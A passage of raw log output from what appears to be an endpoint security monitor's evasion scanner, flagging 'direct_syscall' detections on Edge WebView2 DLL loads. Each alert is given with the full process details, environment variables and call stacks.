COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93d47dc3 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93d479fc C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93d070a7 C:\Windows\System32\combase.dll!Ordinal178|0x7fff93d0695d C:\Windows\System32\combase.dll!Ordinal232|0x7fff93d47181 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93c61e9e C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c60b6e C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93da836f C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93da2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7fff93cebb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7fff93ceb91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7fff907509ee C:\Windows\System32\windows.storage.dll!CMruLongList_CreateInstance|0x7fff9034e3c0 C:\Windows\System32\windows.storage.dll!SHQueryShellFolderValue|0x7fff902aa0c0 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7fff902a902d C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7fff902c119f C:\Windows\System32\windows.storage.dll!SHBindToParent|0x7fff902c5ab2 C:\Windows\System32\windows.storage.dll!Ordinal862|0x7fff902c4c4c C:\Windows\System32\windows.storage.dll!CDesktopFolder_CreateInstanceWithBindContext|0x7fff42392e3a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff4239297a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff42391fb0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff4284fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f5328 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:33+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1406698 + Pid: 2880 + Tid: 7816 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:31.3310362 +0100 CET + Params: base_address➜ 7fff864c0000, checksum➜ 390456, default_address➜ 7fff864c0000, file_path➜ C:\Windows\System32\UserMgrProxy.dll, image_size➜ 393216, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93da8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93d44304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7fff93c1b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93ceff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7fff93d8717e C:\Windows\System32\combase.dll!Ordinal130|0x7fff93c477fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c462ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c98013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7fff93c5eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93bf74bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf6e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff42395ace C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff423958d6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff4247173b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!GetHandleVerifier|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f5238 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1407386 + Pid: 2880 + Tid: 4928 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:31.3848076 +0100 CET + Params: base_address➜ 7fff91e60000, checksum➜ 272959, default_address➜ 7fff91e60000, file_path➜ C:\Windows\System32\ncrypt.dll, image_size➜ 196608, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d 